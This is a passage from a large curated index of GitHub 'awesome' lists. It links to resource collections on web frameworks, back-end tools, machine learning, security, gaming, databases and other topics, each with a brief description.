[Tips](https://github.com/AllThingsSmitty/jquery-tips-everyone-should-know#readme) - [Web Audio](https://github.com/notthetup/awesome-webaudio#readme) - [Offline-First](https://github.com/pazguille/offline-first#readme) - [Static Website Services](https://github.com/agarrharr/awesome-static-website-services#readme) - [Cycle.js](https://github.com/cyclejs-community/awesome-cyclejs#readme) - Functional and reactive JavaScript framework. - [Text Editing](https://github.com/dok/awesome-text-editing#readme) - [Motion UI Design](https://github.com/fliptheweb/motion-ui-design#readme) - [Vue.js](https://github.com/vuejs/awesome-vue#readme) - App framework. - [Marionette.js](https://github.com/sadcitizen/awesome-marionette#readme) - App framework. - [Aurelia](https://github.com/aurelia-contrib/awesome-aurelia#readme) - App framework. - [Charting](https://github.com/zingchart/awesome-charting#readme) - [Ionic Framework 2](https://github.com/candelibas/awesome-ionic#readme) - [Chrome DevTools](https://github.com/ChromeDevTools/awesome-chrome-devtools#readme) - [PostCSS](https://github.com/jdrgomes/awesome-postcss#readme) - CSS tool. - [Draft.js](https://github.com/nikgraf/awesome-draft-js#readme) - Rich text editor framework for React. - [Service Workers](https://github.com/TalAter/awesome-service-workers#readme) - [Progressive Web Apps](https://github.com/TalAter/awesome-progressive-web-apps#readme) - [choo](https://github.com/choojs/awesome-choo#readme) - App framework. - [Redux](https://github.com/brillout/awesome-redux#readme) - State container for JavaScript apps. - [webpack](https://github.com/webpack-contrib/awesome-webpack#readme) - Module bundler. - [Browserify](https://github.com/browserify/awesome-browserify#readme) - Module bundler. - [Sass](https://github.com/Famolus/awesome-sass#readme) - CSS preprocessor. - [Ant Design](https://github.com/websemantics/awesome-ant-design#readme) - Enterprise-class UI design language. - [Less](https://github.com/LucasBassetti/awesome-less#readme) - CSS preprocessor. - [WebGL](https://github.com/sjfricke/awesome-webgl#readme) - JavaScript API for rendering 3D graphics. - [Preact](https://github.com/preactjs/awesome-preact#readme) - App framework. - [Progressive Enhancement](https://github.com/jbmoelker/progressive-enhancement-resources#readme) - [Next.js](https://github.com/unicodeveloper/awesome-nextjs#readme) - Framework for server-rendered React apps. - [Hyperapp](https://github.com/jorgebucaran/awesome-hyperapp#readme) - Tiny JavaScript library for building web apps. - [lit-html](https://github.com/web-padawan/awesome-lit-html#readme) - HTML templating library for JavaScript. - [JAMstack](https://github.com/automata/awesome-jamstack#readme) - Modern web development architecture based on client-side JavaScript, reusable APIs, and prebuilt markup. - [WordPress-Gatsby](https://github.com/henrikwirth/awesome-wordpress-gatsby#readme) - Web development technology stack with WordPress as a back end and Gatsby as a front end. - [Mobile Web Development](https://github.com/myshov/awesome-mobile-web-development#readme) - Creating a great mobile web experience. - [Storybook](https://github.com/lauthieb/awesome-storybook#readme) - Development environment for UI components. - [Blazor](https://github.com/AdrienTorris/awesome-blazor#readme) - .NET web framework using C#/Razor and HTML that runs in the browser with WebAssembly. - [PageSpeed Metrics](https://github.com/palfi-ltd/awesome-pagespeed-metrics#readme) - Metrics to help understand page speed and user experience. - [Tailwind CSS](https://github.com/aniftyco/awesome-tailwindcss#readme) - Utility-first CSS framework for rapid UI development. - [Seed](https://github.com/seed-rs/awesome-seed-rs#readme) - Rust framework for creating web apps running in WebAssembly. - [Web Performance Budget](https://github.com/pajaydev/awesome-web-performance-budget#readme) - Techniques to ensure certain performance metrics for a website. - [Web Animation](https://github.com/sergey-pimenov/awesome-web-animation#readme) - Animations in the browser with JavaScript, CSS, SVG, etc. - [Yew](https://github.com/jetli/awesome-yew#readme) - Rust framework inspired by Elm and React for creating multi-threaded frontend web apps with WebAssembly. - [Material-UI](https://github.com/nadunindunil/awesome-material-ui#readme) - Material Design React components for faster and easier web development. - [Building Blocks for Web Apps](https://github.com/componently-com/awesome-building-blocks-for-web-apps#readme) - Standalone features to be integrated into web apps. ## Back-End Development - [Flask](https://github.com/humiaozuzu/awesome-flask#readme) - Python framework. - [Docker](https://github.com/veggiemonk/awesome-docker#readme) - [Vagrant](https://github.com/iJackUA/awesome-vagrant#readme) - Automation virtual machine environment. - [Pyramid](https://github.com/uralbash/awesome-pyramid#readme) - Python framework. - [Play1 Framework](https://github.com/PerfectCarl/awesome-play1#readme) - [CakePHP](https://github.com/friendsofcake/awesome-cakephp#readme) - PHP framework. - [Symfony](https://github.com/sitepoint-editors/awesome-symfony#readme) - PHP framework. - [Education](https://github.com/pehapkari/awesome-symfony-education#readme) - [Laravel](https://github.com/chiraggude/awesome-laravel#readme) - PHP framework. - [Education](https://github.com/fukuball/Awesome-Laravel-Education#readme) - [TALL Stack](https://github.com/blade-ui-kit/awesome-tall-stack#readme) - Full-stack development solution featuring libraries built by the Laravel community. - [Rails](https://github.com/gramantin/awesome-rails#readme) - Web app framework for Ruby. - [Gems](https://github.com/hothero/awesome-rails-gem#readme) - Packages. - [Phalcon](https://github.com/phalcon/awesome-phalcon#readme) - PHP framework. - [Useful `.htaccess` Snippets](https://github.com/phanan/htaccess#readme) - [nginx](https://github.com/fcambus/nginx-resources#readme) - Web server. - [Dropwizard](https://github.com/stve/awesome-dropwizard#readme) - Java framework. - [Kubernetes](https://github.com/ramitsurana/awesome-kubernetes#readme) - Open-source platform that automates Linux container operations. - [Lumen](https://github.com/unicodeveloper/awesome-lumen#readme) - PHP micro-framework. - [Serverless Framework](https://github.com/pmuens/awesome-serverless#readme) - Serverless computing and serverless architectures. - [Apache Wicket](https://github.com/PhantomYdn/awesome-wicket#readme) - Java web app framework. - [Vert.x](https://github.com/vert-x3/vertx-awesome#readme) - Toolkit for building reactive apps on the JVM. - [Terraform](https://github.com/shuaibiyy/awesome-terraform#readme) - Tool for building, changing, and versioning infrastructure. - [Vapor](https://github.com/Cellane/awesome-vapor#readme) - Server-side development in Swift. - [Dash](https://github.com/ucg8j/awesome-dash#readme) - Python web app framework. - [FastAPI](https://github.com/mjhea0/awesome-fastapi#readme) - Python web app framework. ## Computer Science - [University Courses](https://github.com/prakhar1989/awesome-courses#readme) - [Data Science](https://github.com/academic/awesome-datascience#readme) - [Tutorials](https://github.com/siboehm/awesome-learn-datascience#readme) - [Machine Learning](https://github.com/josephmisiti/awesome-machine-learning#readme) - [Tutorials](https://github.com/ujjwalkarn/Machine-Learning-Tutorials#readme) - [ML with Ruby](https://github.com/arbox/machine-learning-with-ruby#readme) - Learning, implementing, and applying Machine Learning using Ruby. - [Core ML Models](https://github.com/likedan/Awesome-CoreML-Models#readme) - Models for Apple's machine learning framework. - [H2O](https://github.com/h2oai/awesome-h2o#readme) - Open source distributed machine learning platform written in Java with APIs in R, Python, and Scala. - [Software Engineering for Machine Learning](https://github.com/SE-ML/awesome-seml#readme) - From experiment to production-level machine learning. - [AI in Finance](https://github.com/georgezouq/awesome-ai-in-finance#readme) - Solving problems in finance with machine learning. - [Speech and Natural Language Processing](https://github.com/edobashira/speech-language-processing#readme) - [Spanish](https://github.com/dav009/awesome-spanish-nlp#readme) - [NLP with Ruby](https://github.com/arbox/nlp-with-ruby#readme) - [Question Answering](https://github.com/seriousran/awesome-qa#readme) - The science of asking and answering in natural language with a machine. - [Natural Language Generation](https://github.com/tokenmill/awesome-nlg#readme) - Generation of text used in data to text, conversational agents, and narrative generation applications. - [Linguistics](https://github.com/theimpossibleastronaut/awesome-linguistics#readme) - [Cryptography](https://github.com/sobolevn/awesome-cryptography#readme) - [Papers](https://github.com/pFarb/awesome-crypto-papers#readme) - Theory basics for using cryptography by non-cryptographers. - [Computer Vision](https://github.com/jbhuang0604/awesome-computer-vision#readme) - [Deep Learning](https://github.com/ChristosChristofidis/awesome-deep-learning#readme) - Neural networks. - [TensorFlow](https://github.com/jtoy/awesome-tensorflow#readme) - Library for machine intelligence. - [TensorFlow.js](https://github.com/aaronhma/awesome-tensorflow-js#readme) - WebGL-accelerated machine learning JavaScript library for training and deploying models. - [TensorFlow Lite](https://github.com/margaretmz/awesome-tensorflow-lite#readme) - Framework that optimizes TensorFlow models for on-device machine learning. - [Papers](https://github.com/terryum/awesome-deep-learning-papers#readme) - The most cited deep learning papers. - [Education](https://github.com/guillaume-chevalier/awesome-deep-learning-resources#readme) - [Deep Vision](https://github.com/kjw0612/awesome-deep-vision#readme) - [Open Source Society University](https://github.com/ossu/computer-science#readme) - [Functional Programming](https://github.com/lucasviola/awesome-functional-programming#readme) - [Empirical Software Engineering](https://github.com/dspinellis/awesome-msr#readme) - Evidence-based research on software systems. - [Static Analysis & Code Quality](https://github.com/analysis-tools-dev/static-analysis#readme) - [Information Retrieval](https://github.com/harpribot/awesome-information-retrieval#readme) - Learn to develop your own search engine. - [Quantum Computing](https://github.com/desireevl/awesome-quantum-computing#readme) - Computing which utilizes quantum mechanics and qubits on quantum computers. ## Big Data - [Big Data](https://github.com/onurakpolat/awesome-bigdata#readme) - [Public Datasets](https://github.com/awesomedata/awesome-public-datasets#readme) - [Hadoop](https://github.com/youngwookim/awesome-hadoop#readme) - Framework for distributed storage and processing of very large data sets. - [Data Engineering](https://github.com/igorbarinov/awesome-data-engineering#readme) - [Streaming](https://github.com/manuzhang/awesome-streaming#readme) - [Apache Spark](https://github.com/awesome-spark/awesome-spark#readme) - Unified engine for large-scale data processing. - [Qlik](https://github.com/ambster-public/awesome-qlik#readme) - Business intelligence platform for data visualization, analytics, and reporting apps. - [Splunk](https://github.com/sduff/awesome-splunk#readme) - Platform for searching, monitoring, and analyzing structured and unstructured machine-generated big data in real-time. ## Theory - [Papers We Love](https://github.com/papers-we-love/papers-we-love#readme) - [Talks](https://github.com/JanVanRyswyck/awesome-talks#readme) - [Algorithms](https://github.com/tayllan/awesome-algorithms#readme) - [Education](https://github.com/gaerae/awesome-algorithms-education#readme) - Learning and practicing. - [Algorithm Visualizations](https://github.com/enjalot/algovis#readme) - [Artificial Intelligence](https://github.com/owainlewis/awesome-artificial-intelligence#readme) - [Search Engine Optimization](https://github.com/marcobiedermann/search-engine-optimization#readme) - [Competitive Programming](https://github.com/lnishan/awesome-competitive-programming#readme) - [Math](https://github.com/rossant/awesome-math#readme) - [Recursion Schemes](https://github.com/passy/awesome-recursion-schemes#readme) - Traversing nested data structures. ## Books - [Free Programming Books](https://github.com/EbookFoundation/free-programming-books#readme) - [Free Software Testing Books](https://github.com/ligurio/awesome-software-quality#readme) - [Go Books](https://github.com/dariubs/GoBooks#readme) - [R Books](https://github.com/RomanTsegelskyi/rbooks#readme) - [Mind Expanding Books](https://github.com/hackerkid/Mind-Expanding-Books#readme) - [Book Authoring](https://github.com/TalAter/awesome-book-authoring#readme) - [Elixir Books](https://github.com/sger/ElixirBooks#readme) ## Editors - [Sublime Text](https://github.com/dreikanter/sublime-bookmarks#readme) - [Vim](https://github.com/mhinz/vim-galore#readme) - [Emacs](https://github.com/emacs-tw/awesome-emacs#readme) - [Atom](https://github.com/mehcode/awesome-atom#readme) - Open-source and hackable text editor. - [Visual Studio Code](https://github.com/viatsko/awesome-vscode#readme) - Cross-platform open-source text editor. ## Gaming - [Game Development](https://github.com/ellisonleao/magictools#readme) - [Game Talks](https://github.com/hzoo/awesome-gametalks#readme) - [Godot](https://github.com/Calinou/awesome-godot#readme) - Game engine. - [Open Source Games](https://github.com/leereilly/games#readme) - [Unity](https://github.com/RyanNielson/awesome-unity#readme) - Game engine. - [Chess](https://github.com/hkirat/awesome-chess#readme) - [LÖVE](https://github.com/love2d-community/awesome-love2d#readme) - Game engine. - [PICO-8](https://github.com/pico-8/awesome-PICO-8#readme) - Fantasy console. - [Game Boy Development](https://github.com/gbdev/awesome-gbdev#readme) - [Construct 2](https://github.com/WebCreationClub/awesome-construct#readme) - Game engine. - [Gideros](https://github.com/stetso/awesome-gideros#readme) - Game engine. - [Minecraft](https://github.com/bs-community/awesome-minecraft#readme) - Sandbox video game. - [Game Datasets](https://github.com/leomaurodesenv/game-datasets#readme) - Materials and datasets for Artificial Intelligence in games. - [Haxe Game Development](https://github.com/Dvergar/awesome-haxe-gamedev#readme) - A high-level strongly typed programming language used to produce cross-platform native code. - [libGDX](https://github.com/rafaskb/awesome-libgdx#readme) - Java game framework. - [PlayCanvas](https://github.com/playcanvas/awesome-playcanvas#readme) - Game engine. - [Game Remakes](https://github.com/radek-sprta/awesome-game-remakes#readme) - Actively maintained open-source game remakes. - [Flame](https://github.com/flame-engine/awesome-flame#readme) - Game engine for Flutter. - [Discord Communities](https://github.com/mhxion/awesome-discord-communities#readme) - Chat with friends and communities. - [CHIP-8](https://github.com/tobiasvl/awesome-chip-8#readme) - Virtual computer game machine from the 70s. ## Development Environment - [Quick Look Plugins](https://github.com/sindresorhus/quick-look-plugins#readme) - For macOS. - [Dev Env](https://github.com/jondot/awesome-devenv#readme) - [Dotfiles](https://github.com/webpro/awesome-dotfiles#readme) - [Shell](https://github.com/alebcay/awesome-shell#readme) - [Fish](https://github.com/jorgebucaran/awesome-fish#readme) - User-friendly shell. - [Command-Line Apps](https://github.com/agarrharr/awesome-cli-apps#readme) - [ZSH Plugins](https://github.com/unixorn/awesome-zsh-plugins#readme) - [GitHub](https://github.com/phillipadsmith/awesome-github#readme) - Hosting service for Git repositories. - [Browser Extensions](https://github.com/stefanbuck/awesome-browser-extensions-for-github#readme) - [Cheat Sheet](https://github.com/tiimgreen/github-cheat-sheet#readme) - [Pinned Gists](https://github.com/matchai/awesome-pinned-gists#readme) - Dynamic pinned gists for your GitHub profile. - [Git Cheat Sheet & Git Flow](https://github.com/arslanbilal/git-cheat-sheet#readme) - [Git Tips](https://github.com/git-tips/tips#readme) - [Git Add-ons](https://github.com/stevemao/awesome-git-addons#readme) - Enhance the `git` CLI. - [Git Hooks](https://github.com/compscilauren/awesome-git-hooks#readme) - Scripts for automating tasks during `git` workflows. - [SSH](https://github.com/moul/awesome-ssh#readme) - [FOSS for Developers](https://github.com/tvvocold/FOSS-for-Dev#readme) - [Hyper](https://github.com/bnb/awesome-hyper#readme) - Cross-platform terminal app built on web technologies. - [PowerShell](https://github.com/janikvonrotz/awesome-powershell#readme) - Cross-platform object-oriented shell. - [Alfred Workflows](https://github.com/derimagia/awesome-alfred-workflows#readme) - Productivity app for macOS. - [Terminals Are Sexy](https://github.com/k4m4/terminals-are-sexy#readme) - [GitHub Actions](https://github.com/sdras/awesome-actions#readme) - Create tasks to automate your workflow and share them with others on GitHub. ## Entertainment - [Science Fiction](https://github.com/sindresorhus/awesome-scifi#readme) - Scifi. - [Fantasy](https://github.com/RichardLitt/awesome-fantasy#readme) - [Podcasts](https://github.com/ayr-ton/awesome-geek-podcasts#readme) - [Email Newsletters](https://github.com/zudochkin/awesome-newsletters#readme) - [IT Quotes](https://github.com/victorlaerte/awesome-it-quotes#readme) ## Databases - [Database](https://github.com/numetriclabz/awesome-db#readme) - [MySQL](https://github.com/shlomi-noach/awesome-mysql#readme) - [SQLAlchemy](https://github.com/dahlia/awesome-sqlalchemy#readme) - [InfluxDB](https://github.com/mark-rushakoff/awesome-influxdb#readme) - [Neo4j](https://github.com/neueda/awesome-neo4j#readme) - [MongoDB](https://github.com/ramnes/awesome-mongodb#readme) - NoSQL database. - [RethinkDB](https://github.com/d3viant0ne/awesome-rethinkdb#readme) - [TinkerPop](https://github.com/mohataher/awesome-tinkerpop#readme) - Graph computing framework. - [PostgreSQL](https://github.com/dhamaniasad/awesome-postgres#readme) - Object-relational database. - [CouchDB](https://github.com/quangv/awesome-couchdb#readme) - Document-oriented NoSQL database. - [HBase](https://github.com/rayokota/awesome-hbase#readme) - Distributed, scalable, big data store. - [NoSQL Guides](https://github.com/erictleung/awesome-nosql-guides#readme) - Help on using non-relational, distributed, open-source, and horizontally scalable databases. - [Contexture](https://github.com/ltchris/awesome-contexture#readme) - Abstracts queries/filters and results/aggregations from different backing data stores like ElasticSearch and MongoDB. - [Database Tools](https://github.com/mgramin/awesome-db-tools#readme) - Everything that makes working with databases easier. ## Media - [Creative Commons Media](https://github.com/shime/creative-commons-media#readme) - [Fonts](https://github.com/brabadu/awesome-fonts#readme) - [Codeface](https://github.com/chrissimpkins/codeface#readme) - Text editor fonts. - [Stock Resources](https://github.com/neutraltone/awesome-stock-resources#readme) - [GIF](https://github.com/davisonio/awesome-gif#readme) - Image format known for animated images. - [Music](https://github.com/ciconia/awesome-music#readme) - [Open Source Documents](https://github.com/hubtee/awesome-opensource-documents#readme) - [Audio Visualization](https://github.com/willianjusten/awesome-audio-visualization#readme) - [Broadcasting](https://github.com/ebu/awesome-broadcasting#readme) - [Pixel Art](https://github.com/Siilwyn/awesome-pixel-art#readme) - Pixel-level digital art. - [FFmpeg](https://github.com/transitive-bullshit/awesome-ffmpeg#readme) - Cross-platform solution to record, convert and stream audio and video. - [Icons](https://github.com/notlmn/awesome-icons#readme) - Downloadable SVG/PNG/font icon projects. - [Audiovisual](https://github.com/stingalleman/awesome-audiovisual#readme) - Lighting, audio and video in professional environments. ## Learn - [CLI Workshoppers](https://github.com/therebelrobot/awesome-workshopper#readme) - Interactive tutorials. - [Learn to Program](https://github.com/karlhorky/learn-to-program#readme) - [Speaking](https://github.com/matteofigus/awesome-speaking#readme) - [Tech Videos](https://github.com/lucasviola/awesome-tech-videos#readme) - [Dive into Machine Learning](https://github.com/hangtwenty/dive-into-machine-learning#readme) - [Computer History](https://github.com/watson/awesome-computer-history#readme) - [Programming for Kids](https://github.com/HollyAdele/awesome-programming-for-kids#readme) - [Educational Games](https://github.com/yrgo/awesome-educational-games#readme) - Learn while playing. - [JavaScript Learning](https://github.com/micromata/awesome-javascript-learning#readme) - [CSS Learning](https://github.com/micromata/awesome-css-learning#readme) - Mainly about CSS – the language and the modules. - [Product Management](https://github.com/dend/awesome-product-management#readme) - Learn how to be a better product manager. - [Roadmaps](https://github.com/liuchong/awesome-roadmaps#readme) - Gives you a clear route to improve your knowledge and skills. ## Security - [Application Security](https://github.com/paragonie/awesome-appsec#readme) - [Security](https://github.com/sbilly/awesome-security#readme) - [CTF](https://github.com/apsdehal/awesome-ctf#readme) - Capture The Flag. - [Malware Analysis](https://github.com/rshipp/awesome-malware-analysis#readme) - [Android Security](https://github.com/ashishb/android-security-awesome#readme) - [Hacking](https://github.com/carpedm20/awesome-hacking#readme) - [Honeypots](https://github.com/paralax/awesome-honeypots#readme) - Deception trap, designed to entice an attacker into attempting to compromise the information systems in an organization. - [Incident Response](https://github.com/meirwah/awesome-incident-response#readme) - [Vehicle Security and Car Hacking](https://github.com/jaredthecoder/awesome-vehicle-security#readme) - [Web Security](https://github.com/qazbnm456/awesome-web-security#readme) - Security of web apps & services. - [Lockpicking](https://github.com/fabacab/awesome-lockpicking#readme) - The art of unlocking a lock by manipulating its components without the key. - [Cybersecurity Blue Team](https://github.com/fabacab/awesome-cybersecurity-blueteam#readme) - Groups of individuals who identify security flaws in information technology systems. - [Fuzzing](https://github.com/cpuu/awesome-fuzzing#readme) - Automated software testing technique that involves feeding pseudo-randomly generated input data. - [Embedded and IoT Security](https://github.com/fkie-cad/awesome-embedded-and-iot-security#readme) - [GDPR](https://github.com/bakke92/awesome-gdpr#readme) - Regulation on data protection and privacy for all individuals within EU. - [DevSecOps](https://github.com/TaptuIT/awesome-devsecops#readme) - Integration of security practices into [DevOps](https://en.wikipedia.org/wiki/DevOps). ## Content Management Systems - [Umbraco](https://github.com/umbraco-community/awesome-umbraco#readme) - [Refinery CMS](https://github.com/refinerycms-contrib/awesome-refinerycms#readme) - Ruby on Rails CMS. - [Wagtail](https://github.com/springload/awesome-wagtail#readme) - Django CMS focused on flexibility and user experience. - [Textpattern](https://github.com/drmonkeyninja/awesome-textpattern#readme) - Lightweight PHP-based CMS. - [Drupal](https://github.com/nirgn975/awesome-drupal#readme) - Extensible PHP-based CMS. - [Craft CMS](https://github.com/craftcms/awesome#readme) - Content-first CMS. - [Sitecore](https://github.com/MartinMiles/Awesome-Sitecore#readme) - .NET digital marketing platform that combines CMS with tools for managing multiple websites. ## Hardware - [Robotics](https://github.com/Kiloreux/awesome-robotics#readme) - [Internet of Things](https://github.com/HQarroum/awesome-iot#readme) - [Electronics](https://github.com/kitspace/awesome-electronics#readme) - For electronic engineers and hobbyists. - [Bluetooth Beacons](https://github.com/rabschi/awesome-beacon#readme) - [Electric Guitar Specifications](https://github.com/gitfrage/guitarspecs#readme) - Checklist for building your own electric guitar. - [Plotters](https://github.com/beardicus/awesome-plotters#readme) - Computer-controlled drawing machines and other visual art robots. ## Business - [Open Companies](https://github.com/opencompany/awesome-open-company#readme) - [Places to Post Your Startup](https://github.com/mmccaff/PlacesToPostYourStartup#readme) - [OKR Methodology](https://github.com/domenicosolazzo/awesome-okr#readme) - Goal setting & communication best practices. - [Leading and Managing](https://github.com/LappleApple/awesome-leading-and-managing#readme) - Leading people and being a manager in a technology company/environment. - [Indie](https://github.com/mezod/awesome-indie#readme) - Independent developer businesses. - [Tools of the Trade](https://github.com/cjbarber/ToolsOfTheTrade#readme) - Tools used by companies on Hacker News. - [Clean Tech](https://github.com/nglgzz/awesome-clean-tech#readme) - Fighting climate change with technology. - [Wardley Maps](https://github.com/wardley-maps-community/awesome-wardley-maps#readme) - Provides high situational awareness to help improve strategic planning and decision making. - [Social Enterprise](https://github.com/RayBB/awesome-social-enterprise#readme) - Building an organization primarily focused on social impact that is at least partially self-funded. - [Engineering Team Management](https://github.com/kdeldycke/awesome-engineering-team-management#readme) - How to transition from software development to engineering management. ## Work - [Slack](https://github.com/matiassingers/awesome-slack#readme) - Team collaboration. - [Communities](https://github.com/filipelinhares/awesome-slack#readme) - [Remote Jobs](https://github.com/lukasz-madon/awesome-remote-job#readme) - [Productivity](https://github.com/jyguyomarch/awesome-productivity#readme) - [Niche Job Boards](https://github.com/tramcar/awesome-job-boards#readme) - [Programming Interviews](https://github.com/MaximAbramchuck/awesome-interview-questions#readme) - [Code Review](https://github.com/joho/awesome-code-review#readme) - Reviewing code. ## Networking - [Software-Defined Networking](https://github.com/sdnds-tw/awesome-sdn#readme) - [Network Analysis](https://github.com/briatte/awesome-network-analysis#readme) - [PCAPTools](https://github.com/caesar0301/awesome-pcaptools#readme) - [Real-Time Communications](https://github.com/rtckit/awesome-rtc#readme) - Network protocols for near simultaneous exchange of media and data. ## Decentralized Systems - [Bitcoin](https://github.com/igorbarinov/awesome-bitcoin#readme) - Bitcoin services and tools for software developers. - [Ripple](https://github.com/vhpoet/awesome-ripple#readme) - Open source distributed settlement network. - [Non-Financial Blockchain](https://github.com/machinomy/awesome-non-financial-blockchain#readme) - Non-financial blockchain applications. - [Mastodon](https://github.com/tleb/awesome-mastodon#readme) - Open source decentralized microblogging network. - [Ethereum](https://github.com/ttumiel/Awesome-Ethereum#readme) - Distributed computing platform for smart contract development. - [Blockchain AI](https://github.com/steven2358/awesome-blockchain-ai#readme) - Blockchain projects for artificial intelligence and machine learning. - [EOSIO](https://github.com/DanailMinchev/awesome-eosio#readme) - A decentralized operating system supporting industrial-scale apps. - [Corda](https://github.com/chainstack/awesome-corda#readme) - Open source blockchain platform designed for business. - [Waves](https://github.com/msmolyakov/awesome-waves#readme) - Open source blockchain platform and development toolset for Web 3.0 apps and decentralized solutions. - [Substrate](https://github.com/substrate-developer-hub/awesome-substrate#readme) - Framework for writing scalable, upgradeable blockchains in Rust. ## Higher Education - [Computational Neuroscience](https://github.com/eselkin/awesome-computational-neuroscience#readme) - A multidisciplinary science which uses computational approaches to study the nervous system. - [Digital History](https://github.com/maehr/awesome-digital-history#readme) - Computer-aided scientific investigation of history. - [Scientific Writing](https://github.com/writing-resources/awesome-scientific-writing#readme) - Distraction-free scientific writing with Markdown, reStructuredText and Jupyter notebooks. - [Sustainable Technology](https://github.com/protontypes/awesome-sustainable-technology#readme) - Open technology sustaining stable climate, energy supply, and vital natural resources. ## Events - [Creative Tech Events](https://github.com/danvoyce/awesome-creative-tech-events#readme) - Events around the globe for creative coding, tech, design, music, arts and cool stuff. - [Events in Italy](https://github.com/ildoc/awesome-italy-events#readme) - Tech-related events in Italy. - [Events in the Netherlands](https://github.com/awkward/awesome-netherlands-events#readme) - Tech-related events in the Netherlands. ## Testing - [Testing](https://github.com/TheJambo/awesome-testing#readme) - Software testing. - [Visual Regression Testing](https://github.com/mojoaxel/awesome-regression-testing#readme) - Ensures changes did not break the functionality or style. - [Selenium](https://github.com/christian-bromann/awesome-selenium#readme) - Open-source browser automation framework and ecosystem. - [Appium](https://github.com/SrinivasanTarget/awesome-appium#readme) - Test automation tool for apps. - [TAP](https://github.com/sindresorhus/awesome-tap#readme) - Test Anything Protocol. - [JMeter](https://github.com/aliesbelik/awesome-jmeter#readme) - Load testing and performance measurement tool. - [k6](https://github.com/k6io/awesome-k6#readme) - Open-source, developer-centric performance monitoring and load testing solution. - [Playwright](https://github.com/mxschmitt/awesome-playwright#readme) - Node.js library to automate Chromium, Firefox and WebKit with a single API. ## Miscellaneous - [JSON](https://github.com/burningtree/awesome-json#readme) - Text based data interchange format. - [GeoJSON](https://github.com/tmcw/awesome-geojson#readme) - [Datasets](https://github.com/jdorfman/awesome-json-datasets#readme) - [CSV](https://github.com/secretGeek/awesomeCSV#readme) - A text file format that stores tabular data and uses a comma to separate values. - [Discounts for Student Developers](https://github.com/AchoArnold/discount-for-student-dev#readme) - [Radio](https://github.com/kyleterry/awesome-radio#readme) - [Awesome](https://github.com/sindresorhus/awesome#readme) - Recursion illustrated. - [Analytics](https://github.com/onurakpolat/awesome-analytics#readme) - [REST](https://github.com/marmelab/awesome-rest#readme) - [Continuous Integration and Continuous Delivery](https://github.com/cicdops/awesome-ciandcd#readme) - [Services Engineering](https://github.com/mmcgrana/services-engineering#readme) - [Free for Developers](https://github.com/ripienaar/free-for-dev#readme) - [Answers](https://github.com/cyberglot/awesome-answers#readme) - Stack Overflow, Quora, etc. - [Sketch](https://github.com/diessica/awesome-sketch#readme) - Design app for macOS. - [Boilerplate Projects](https://github.com/melvin0008/awesome-projects-boilerplates#readme) - [Readme](https://github.com/matiassingers/awesome-readme#readme) - [Design and Development Guides](https://github.com/NARKOZ/guides#readme) - [Software Engineering Blogs](https://github.com/kilimchoi/engineering-blogs#readme) - [Self Hosted](https://github.com/awesome-selfhosted/awesome-selfhosted#readme) - [FOSS Production Apps](https://github.com/DataDaoDe/awesome-foss-apps#readme) - [Gulp](https://github.com/alferov/awesome-gulp#readme) - Task runner. - [AMA](https://github.com/sindresorhus/amas#readme) - Ask Me Anything. - [Answers](https://github.com/stoeffel/awesome-ama-answers#readme) - [Open Source Photography](https://github.com/ibaaj/awesome-OpenSourcePhotography#readme) - [OpenGL](https://github.com/eug/awesome-opengl#readme) - Cross-platform API for rendering 2D and 3D graphics. - [GraphQL](https://github.com/chentsulin/awesome-graphql#readme) - [Transit](https://github.com/CUTR-at-USF/awesome-transit#readme) - [Research Tools](https://github.com/emptymalei/awesome-research#readme) - [Data Visualization](https://github.com/fasouto/awesome-dataviz#readme) - [Social Media Share Links](https://github.com/vinkla/shareable-links#readme) - [Microservices](https://github.com/mfornos/awesome-microservices#readme) - [Unicode](https://github.com/Wisdom/Awesome-Unicode#readme) - Unicode standards, quirks, packages and resources. - [Code Points](https://github.com/Codepoints/awesome-codepoints#readme) - [Beginner-Friendly Projects](https://github.com/MunGell/awesome-for-beginners#readme) - [Katas](https://github.com/gamontal/awesome-katas#readme) - [Tools for Activism](https://github.com/drewrwilson/toolsforactivism#readme) - [Citizen Science](https://github.com/dylanrees/citizen-science#readme) - For community-based and non-institutional scientists. - [MQTT](https://github.com/hobbyquaker/awesome-mqtt#readme) - "Internet of Things" connectivity protocol. - [Hacking Spots](https://github.com/daviddias/awesome-hacking-locations#readme) - [For Girls](https://github.com/cristianoliveira/awesome4girls#readme) - [Vorpal](https://github.com/vorpaljs/awesome-vorpal#readme) - Node.js CLI framework. - [Vulkan](https://github.com/vinjn/awesome-vulkan#readme) - Low-overhead, cross-platform 3D graphics and compute API. - [LaTeX](https://github.com/egeerardyn/awesome-LaTeX#readme) - Typesetting language. - [Economics](https://github.com/antontarasenko/awesome-economics#readme) - An economist's starter kit. - [Funny Markov Chains](https://github.com/sublimino/awesome-funny-markov#readme) - [Bioinformatics](https://github.com/danielecook/Awesome-Bioinformatics#readme) - [Cheminformatics](https://github.com/hsiaoyi0504/awesome-cheminformatics#readme) - Informatics techniques applied to problems in chemistry. - [Colorful](https://github.com/Siddharth11/Colorful#readme) - Choose your next color scheme. - [Steam](https://github.com/scholtzm/awesome-steam#readme) - Digital distribution platform. - [Bots](https://github.com/hackerkid/bots#readme) - Building bots. - [Site Reliability Engineering](https://github.com/dastergon/awesome-sre#readme) - [Empathy in Engineering](https://github.com/KimberlyMunoz/empathy-in-engineering#readme) - Building and promoting more compassionate engineering cultures. - [DTrace](https://github.com/xen0l/awesome-dtrace#readme) - Dynamic tracing framework. - [Userscripts](https://github.com/brunocvcunha/awesome-userscripts#readme) - Enhance your browsing experience. - [Pokémon](https://github.com/tobiasbueschel/awesome-pokemon#readme) - Pokémon and Pokémon GO. - [ChatOps](https://github.com/exAspArk/awesome-chatops#readme) - Managing technical and business operations through a chat. - [Falsehood](https://github.com/kdeldycke/awesome-falsehood#readme) - Falsehoods programmers believe in. - [Domain-Driven Design](https://github.com/heynickc/awesome-ddd#readme) - Software development approach for complex needs by connecting the implementation to an evolving model. - [Quantified Self](https://github.com/woop/awesome-quantified-self#readme) - Self-tracking through technology. - [SaltStack](https://github.com/hbokh/awesome-saltstack#readme) - Python-based config management system. - [Web Design](https://github.com/nicolesaidy/awesome-web-design#readme) - For digital designers. - [Creative Coding](https://github.com/terkelg/awesome-creative-coding#readme) - Programming something expressive instead of something functional. - [No-Login Web Apps](https://github.com/aviaryan/awesome-no-login-web-apps#readme) - Web apps that work without login. - [Free Software](https://github.com/johnjago/awesome-free-software#readme) - Free as in freedom. - [Framer](https://github.com/podo/awesome-framer#readme) - Prototyping interactive UI designs. - [Markdown](https://github.com/BubuAnabelas/awesome-markdown#readme) - Markup language. - 